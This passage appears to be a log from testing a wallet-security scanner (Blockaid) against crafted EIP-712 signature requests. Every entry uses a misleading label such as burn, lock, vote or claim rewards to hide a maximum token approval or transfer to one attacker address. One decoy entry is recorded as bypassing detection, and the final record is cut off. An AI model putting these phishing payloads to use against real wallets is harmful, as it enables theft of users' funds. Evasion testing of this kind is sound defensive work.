"0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:09:24.088Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:09:33.267Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:09:42.434Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:09:51.616Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:10:00.829Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:10:10.070Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:10:19.282Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:10:28.472Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:10:37.687Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:10:46.900Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:10:56.088Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:11:05.440Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:11:14.671Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:11:23.868Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:11:33.044Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:11:42.221Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:11:51.383Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:12:01.137Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:12:10.333Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 